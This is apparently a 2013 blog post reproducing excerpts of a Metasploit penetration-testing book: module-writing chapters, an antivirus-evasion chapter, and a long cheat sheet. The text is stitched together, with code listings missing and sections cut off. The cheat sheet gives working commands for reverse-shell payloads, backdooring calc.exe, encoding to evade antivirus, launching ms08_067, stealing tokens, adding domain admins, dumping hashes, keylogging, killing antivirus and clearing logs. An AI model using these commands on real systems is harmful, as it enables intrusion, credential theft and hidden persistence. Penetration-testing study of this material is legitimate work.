2013年3月19日 星期二

metasploit BUILDING YOUR OWN MODULE

In this chapter, we’ll write a module called mssql_powershellto harness
a technique released at the Defcon 18 Hacking Conference by Josh Kelley
(winfang) and David Kennedy. This module targets Windows platforms with
Microsoft’s PowerShell installed (the default on Windows 7).
This module converts a standard MSF binary payload to a hex-blob(a
hexadecimal representation of binary data) that can be transmitted to a tar-get system through Microsoft SQL commands. Once this payload is on the
target system, a PowerShell script is used to convert the hexadecimal data
back to a binary executable, execute it, and deliver a shell to the attacker. This
module is already in Metasploit and was developed by one of the authors of
this book; it’s a great lesson on how to build your own modules.
The ability to convert a binary to hexadecimal, transmit it via MS SQL,
and convert it back to binary is an excellent example of how powerful the
Metasploit Framework can be. As you’reperforming penetration tests, you
will encounter many unfamiliar scenarios or situations; your ability to create
or modify modules and exploits on the fly will give you that needed edge. As
you begin to understand the Framework, you’ll be able to write these types of
modules in a relatively short amount of time.

We will use the MS SQL instance that you built in Appendix A
to exploit a situation with our module. Asdiscussed in Chapter 6, you initially
scan the system with the Metasploit auxiliary modules and brute force the
weak saaccount.
Once you have brute forced the saaccount, you can insert, drop, create,
and perform most other tasks you would normally use in MS SQL. This includes
calling an extended administrative-level stored procedure called xp_cmdshell,
as discussed in Chapter 6.This stored procedure lets you execute underlying
operating system commands under the same security context used by the
SQL Server service (for example, Local System).

MS SQL installs with this stored procedure disabled in SQL Server 2005 and 2008,
but you can re-enable it using SQL commands if you have the sysadminrole within
MS SQL. For example, you could use SELECT loginname FROM master..syslogins
WHERE sysadmin=1to view all users with this level ofaccess and then become one of those
users. If you have the sysadmin role, you’re almost guaranteed a full-system compromise.

Exploring an ExistingMetasploit Module
root@bt:/opt/framework3/msf3# nano modules/auxiliary/admin/mssql/mssql_exec.rb


9: Metasploit Auxiliary Modules

Bydefinition, a Metasploit module that is not an exploit is an auxiliary module,
which leaves a lot to the imagination.
In addition to providing valuable reconnaissance tools such as port
scanners and service fingerprinters, auxiliary modules such as ssh_logincan
take a known list of usernames and passwords and then attempt to log in
via brute force across an entire target network. Also included in the auxiliary
modules are various protocol fuzzers such as ftp_pre_post, http_get_uri_long,
smtp_fuzzer, ssh_version_corrupt, and more. You can launch these fuzzers at a
target service in hopes of finding your own vulnerabilities to exploit.
Should you want to create your own
module or edit an existing one to suit a specific purpose, you will find them
in their corresponding directories. For instance, if you need to develop a
fuzzer module to hunt your own bugs, you will find some pre-existing mod-ules in the /fuzzersdirectory.


Anatomy of an Auxiliary Module
Let’s look at the makeup of an auxiliary module in a fun little example not
currently in the Metasploit repository (because it does not pertain to pene-tration testing). This example will demonstrate how easy it is to offload a
great deal of programming to the Framework, allowing us to focus on the
specifics of a module.

Chris Gates wrote an auxiliary modulefor the Framework that gave his
Twitter followers the impression that hehad somehow invented a device that
allowed him to travel at the speed of light. It makes a great example of the
code reuse available in Metasploit. (You can access the source of the script at
http://carnal0wnage.googlecode.com/.)

root@bt:/opt/framework3/msf3# cd modules/auxiliary/admin/
root@bt:/opt/framework3/msf3/modules/auxiliary/admin# wget http://carnal0wnage.googlecode
.com/svn/trunk/msf3/modules/auxiliary/admin/random/foursquare.rb

We’ve placed the module inour auxiliary directory Xso that it will be
available for use by Metasploit. But before we use this module, let’s look at
the actual script and break down the components so we can see exactly
what the module contains.

The module begins with the first two lines importing the auxiliary class X.
Next it makes the HTTP client functions available for use Ywithin the script.

Within the initialization constructor Xwe define much of the informa-tion Ythat is reported back when issuing the infocommand in msfconsole.
We can see where the various options are defined Zand whether they are
required. So far, all are pretty direct and their purposes are clear. Still, we
have yet to see any actual logic being performed. That comes next.
Now we reach the actual logic ofthe script—what happens when runis
called within the module. Initially the provided options are set to local vari-able names Xalong with defining various other objects. An object is then
created by calling the send_request_cgimethod Yimported into the script
from lib/msf/core/exploit/http.rband defined as “Connects to the server, cre-ates a request, sends the request, reads the response.” This method takes var-ious parameters that make up the callto the actual server, as shown here.
After this object is created, the results are printed X. If anything goes
wrong, logic exists for catching any errors Yand reporting them to the user.
All of this logic is simple and is just a matter of plugging various parameters
into existing functions of the Framework. This is a great example of the
power of the Framework, because it allows us to concentrate only on the
information needed to address our goal. There is no reason to reproduce
any of the standard functions such as error handling, connection manage-ment, and so on.
Let’s see this module in action. If you don’t remember the full path to
the module within the Metasploit directory structure, search for it like so.


In order to run this module successfully, we need a valid set of Four-square credentials to do the check-in. We first define the VenueID that we
find online with a bit of Googling X, and then we set our Foursquare creden-tials Yand run the module. We get a successful result with the Foursquare
service confirming our check-in and giving us five points Z.
In this case, we have submitted a request to “check in” at Union Station
in Washington, DC, on the Foursquare service (see Figure 9-1).

Going Forward
As you have seen, auxiliary modules can have a wide range of uses. The infra-structure provided by the MetasploitFramework can produce a wide array
of tools in a very short time. Using Metasploit’s auxiliary modules, you can
scan an IP address range to determine which hosts are alive and which ser-vices are running on each host. You can then leverage this information to
determine vulnerable services, such as in the WebDAV example, or even log
in via brute force on a remote server.
Although you can easily create customauxiliary modules, don’t discount
the existing auxiliary modules in the Framework. These modules may be the
exact one-off tool you need.
The auxiliary modules provide a wide range of potential additional ave-nues. For a web application, the auxiliary modules offer more than 40 addi-tional checks or attacks that you can perform. In some instances, you may
want to brute force a web server to see which servers are listing directories.
Or you may want to scan the web server to see if it can act as an open proxy
and relay traffic out to the Internet. Regardless of your needs, the auxiliary
modules can provide additional enumeration information, attack vectors, or
vulnerabilities.

metasploit 7: Avoiding Detection

If you plan to use a payload that is not custom built, you can expect that antivirus software will
detect it.

To evade antivirus, we can create unique payloads to run on an antivirus
software–protected system that will not match any of the available signatures.
In addition, when we’re performing direct exploits on a system, Metasploit
payloads are designed to run in memoryand never to write data to the hard
disk. When we send a payload as part of an exploit, mostantivirus programs
will not detect that it has been run on the target.

Creating Stand-Alone Binaries with MSFpayload
 


Evading Antivirus Detection
Encoding with MSFencode
One of the best ways to avoid being stopped by antivirus software is to encode
our payload with msfencode. Msfencodeis a useful tool that alters the code in an
executable so that it looks different to antivirus software but will still run the
same way. Much as the binary attachment in email is encoded in Base64,
msfencodeencodes the original executable in a new binary. Then, when the
executable is run, msfencodedecodes the original code into memory and exe-cutes it.
Unfortunately, after the payload2.exefile is copied over to the
Windows system, AVG detects our encoded payload yet again
Multi-encoding
In the preceding example, the shikata_ga_naiencoding is polymorphic,
meaning that the payload will change eachtime the script is run. Of course,
the payload that an antivirus product will flag is a mystery: Every time you
generate a payload, the same antivirus program can flag it once and miss it
another time.
It is recommended that you test yourscript using an evaluation version
of a product to see if it bypasses the antivirus software prior to using it in a
penetration test. Here’s an example of using multiple encoding passes:
Custom Executable Templates
Typically, when msfencodeis run, the payload is embedded into the default
executable template at data/templates/template.exe. Although this template is
changed on occasion, antivirus vendors still look for it when building signa-tures. However, msfencodenow supports the use of any Windows executable
in place of the default executable template via the -xoption. In the follow-ing example, we encode our payload again using the Process Explorer from
Microsoft’s Sysinternals Suite asa custom-executable template.
Launching a Payload Stealthily
(This option may not work with all executables, so be sure to testyours before deployment.)
When choosing to embed a payload in an executable, you should con-sider using GUI-based applicationsif you’re not specifying the -kflag. If you
embed a payload into a console-based application, when the payload is run,
it will display a console window that won’t close until you’re finished using
the payload. If you choose a GUI-based application and do not specify the -k
flag, when the payload is executed, the target will not see a console window.
Paying attention to these little details can help you remain stealthy during an
engagement.

Packers

NOTE The PolyPack project (http://jon.oberheide.org/files/woot09-polypack.pdf)
shows the results of packing known malicious binaries with various packers and the
effectiveness of antivirus detection before and after the packing process.
MSF VENOM
In this chapter we cover only the msfpayloadand msfencodeutilities, but there is an
additional tool called msfvenomthat combines the functionalities of msfpayloadand
msfencodein a simpler-to-use interface. Msfvenomis not covered in detail in this book
(see Appendix B), but it should be very easy to use after you become familiar with
msfpayloadand msfencode.

A Final Note on Antivirus Software Evasion
The world of antivirus software moves very quickly, even by Internet stan-dards. As of this writing, the methods and processes documented in this
chapter work successfully; however, experience has shown that even a few
months can bring major changes in how antivirus evasion is accomplished.
Although the Metasploit team is constantly tweaking its payloads and attempts
to stay one step ahead of detection algorithms, don’t be surprised if by
the time you work through these examples, some work and some do not.
When you’re attempting antivirus evasion, consider using multiple packers
or encoders, as mentioned, or write your own. Antivirus evasion, like all pen-etration testing skills, needs to be practiced and requires dedicated research
to help you ensure success in your engagements.

metasploit cheat sheet

MSFconsole Commands
show exploits
Show all exploits within the Framework.
show payloads
Show all payloads within the Framework.
show auxiliary
Show all auxiliary modules within the Framework.
search name
Search for exploits or modules within the Framework.
info
Load information about a specific exploit or module.
use name
Load an exploit or module (example: use windows/smb/psexec).
LHOST
Your local host’s IP address reachable by the target, often the public IP
address when not on a local network. Typically used for reverse shells.
RHOST
The remote host or the target.
set function
Set a specific value (for example, LHOSTor RHOST).
setg function
Set a specific value globally (for example, LHOSTor RHOST).
show options
Show the options available for a module or exploit.
show targets
Show the platforms supported by the exploit.
set target num
Specify a specific target index if you know the OS and service pack.
set payload payload
Specify the payload to use.
show advanced
Show advanced options.
set autorunscript migrate -f
Automatically migrate to a separate process upon exploit completion.
check
Determine whether a target isvulnerable to an attack.
exploit
Execute the module or exploit and attack the target.
exploit -j
Run the exploit under the context of the job. (This will run the exploit
in the background.)
exploit -z
Do not interact with the session after successful exploitation.
exploit -e encoder
Specify the payload encoder to use (example: exploit –e shikata_ga_nai).
exploit -h
Display help for the exploitcommand.
sessions -l
List available sessions (used when handling multiple shells).
sessions -l -v
List all available sessions and show verbose fields, such as which vulnera-bility was used when exploiting the system.
sessions -s script
Run a specific Meterpreter scripton all Meterpreter live sessions.
sessions -K
Kill all live sessions.
sessions -c cmd
Execute a command on all live Meterpreter sessions.
sessions -u sessionID
Upgrade a normal Win32 shell to a Meterpreter console.
db_create name
Create a database to use with database-driven attacks (example: db_create
autopwn).
db_connect name
Create and connect to a database for driven attacks (example: db_connect
autopwn).
db_nmap
Use nmapand place results in database. (Normal nmapsyntax is supported,
such as –sT –v –P0.)
db_autopwn -h
Display help for using db_autopwn.
db_autopwn -p -r -e
Run db_autopwnagainst all ports found, use a reverse shell, and exploit all
systems.
db_destroy
Delete the current database.
db_destroy user:password@host:port/database
Delete database using advanced options.

Meterpreter Commands
help
Open Meterpreter usage help.
run scriptname
Run Meterpreter-based scripts;for a full list check the scripts/meterpreter
directory.
sysinfo
Show the system information on the compromised target.
ls
List the files and folders on the target.
use priv
Load the privilege extension for extended Meterpreter libraries.
ps
Show all running processes and which accounts are associated with each
process.
migrate PID
Migrate to the specific process ID (PID is the target process ID gained
from the pscommand).
use incognito
Load incognitofunctions. (Used for token stealing and impersonation on
a target machine.)
list_tokens -u
List available tokens on the target by user.
list_tokens -g
List available tokens on the target by group.
impersonate_token DOMAIN_NAME\\USERNAME
Impersonate a token available on the target.
steal_token PID
Steal the tokens available for a given process and impersonate that token.
drop_token
Stop impersonating the current token.
getsystem
Attempt to elevate permissions to SYSTEM-level access through multiple
attack vectors.
shell
Drop into an interactive shell with all available tokens.
execute -f cmd.exe -i
Execute cmd.exeand interact with it.
execute -f cmd.exe -i -t
Execute cmd.exewith all available tokens.
execute -f cmd.exe -i -H -t
Execute cmd.exewith all available tokens and make it a hidden process.
rev2self
Revert back to the original user you used to compromise the target.
reg command
Interact, create, delete, query, set, and much more in the target’s registry.
setdesktop number
Switch to a different screen based on who is logged in.
screenshot
Take a screenshot of the target’s screen.
upload file
Upload a file to the target.
download file
Download a file from the target.
keyscan_start
Start sniffing keystrokes on the remote target.
keyscan_dump
Dump the remote keys captured on the target.
keyscan_stop
Stop sniffing keystrokes on the remote target.
getprivs
Get as many privileges aspossible on the target.
uictl enable keyboard/mouse
Take control of the keyboard and/or mouse.
background
Run your current Meterpreter shell in the background.
hashdump
Dump all hashes on the target.
use sniffer
Load the sniffer module.
sniffer_interfaces
List the available interfaces on the target.
sniffer_dump interfaceID pcapname
Start sniffing on the remote target.
sniffer_start interfaceID packet-buffer
Start sniffing with a specificrange for a packet buffer.
sniffer_stats interfaceID
Grab statistical information from the interface you are sniffing.
sniffer_stop interfaceID
Stop the sniffer.
add_user username password-h ip
Add a user on the remote target.
add_group_user "Domain Admins" username-h ip
Add a username to the Domain Administratorsgroup on the remote target.
clearev
Clear the event log on the target machine.
timestomp
Change file attributes, such as creation date (antiforensics measure).
reboot
Reboot the target machine.

MSFpayload Commands
msfpayload -h
List available payloads.
msfpayload windows/meterpreter/bind_tcp O
List available options for the windows/meterpreter/bind_tcppayload (all of
these can use any payload).
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X >
payload.exe
Create a Meterpreterreverse_tcppayload to connect back to 192.168.1.5
and on port 443, and then save it as a Windows Portable Executable
named payload.exe.
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R >
payload.raw
Same as above, but export as raw format. This will be used later in
msfencode.
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
Same as above but export as C-formatted shellcode.
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
Export as %u encodedJavaScript.

MSFencode Commands
msfencode -h
Display the msfencodehelp.
msfencode -l
List the available encoders.
msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs,
loop-vbs, asp, war, macho)
Format to display the encoded buffer.
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5
-t exe
Encode payload.rawwith shikata_ga_naifive times and export it to an
output file named encoded_payload.exe.
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/
_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o
multi-encoded_payload.exe
Create a multi-encoded payload.
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
Create pure alphanumeric shellcode where ESI points to the shellcode;
output in C-style notation.

MSFcli Commands
msfcli | grep exploit
Show only exploits.
msfcli | grep exploit/windows
Show only Windows exploits.
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp
LPORT=443 RHOST=172.16.32.142 E
Launch ms08_067_netapiexploit at 172.16.32.142 with a bind_tcppayload
being delivered to listen on port 443

MSF, Ninja, Fu
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |
msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
Create a reverse Meterpreter payload connecting back to 192.168.1.5
on port 443 using calc.exeas a template to backdoor. Keep execution
flow within the application for it to continue to work, and output the
shikata_ga_naiencoded payload to payload.exe.
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |
msfencode -x calc.exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
Create a reverse Meterpreter payload connecting back to 192.168.1.5 on
port 443 using calc.exeas a template to backdoor. Does not keep execu-tion flow within the application and will not prompt anything back to the
end user when it is executed. This isuseful when you have remote access
via a browser exploit and don’t want the calculator application popping
up to the end user. Also outputs the shikata_ga_naiencoded payload to
payload.exe.
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe
-e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/handler PAYLOAD=windows/
meterpreter/bind_tcp LPORT=443 E
Create a bind_tcpMeterpreter payload in raw format, encode it seven
times using shikata_ga_nai, output it in Windows portable executable for-mat with a name of payload.exe, and then have a multi-handler listening
for it to execute.

MSFvenom
Leverage msfvenom, an all-in-one suite, to create and encode your payload:
msfvenom --payload
windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai
LHOST=172.16.1.32 LPORT=443 > msf.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
root@bt://opt/framework3/msf3#
This one liner will create a payload and automatically generate it in an
executable format.

Meterpreter Post Exploitation Commands
Elevate your permissions on Windows-based systems using Meterpreter:
meterpreter > use priv
meterpreter > getsystem
Steal a domain administrator token from a given process ID, add a
domain account, and then add it to the Domain Adminsgroup:
meterpreter > ps
meterpreter > steal_token 1784
meterpreter > shell
C:\Windows\system32>net user metasploit p@55w0rd /ADD /DOMAIN
C:\Windows\system32>net group "Domain Admins" metasploit /ADD /DOMAIN
Dump password hashes from the SAM database:
meterpreter > use priv
meterpreter > getsystem
meterpreter > hashdump
NOTE On Win2k8 you may need to migrate to a process that is running as SYSTEM if
getsystemand hashdumpthrow exceptions.
Automigrate to a separate process:
meterpreter > run migrate
Kill antivirus processes running on the target via the killavMeterpreter
script:
meterpreter > run killav
Capture keystrokes on target machinesfrom within a particular process:
meterpreter > ps
meterpreter > migrate 1436
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
Use Incognito to impersonate an administrator:
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > use priv
meterpreter > getsystem
meterpreter > list_tokens -u
meterpreter > impersonate_token IHAZSECURITY\\Administrator
See what protection mechanisms are in place on the compromised
target, display the help menu, disable Windows Firewall, and kill all counter-measures found:
meterpreter > run getcountermeasure
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d -k
Identify whether the compromised system is a virtual machine:
meterpreter > run checkvm
Drop into a command shell for a current Meterpreter console session:
meterpreter > shell
Get a remote GUI (VNC) on the target machine:
meterpreter > run vnc
Background a currently running Meterpreter console:
meterpreter > background
Bypass Windows User Access Control:
meterpreter > run post/windows/escalate/bypassuac
Dump Hashes on an OS X system:
meterpreter > run post/osx/gather/hashdump
Dump Hashes on a Linux system:
meterpreter > run post/linux/gather/hashdump